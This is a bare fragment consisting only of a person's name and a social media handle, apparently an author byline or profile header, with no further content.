John Stoner
@stonerpsu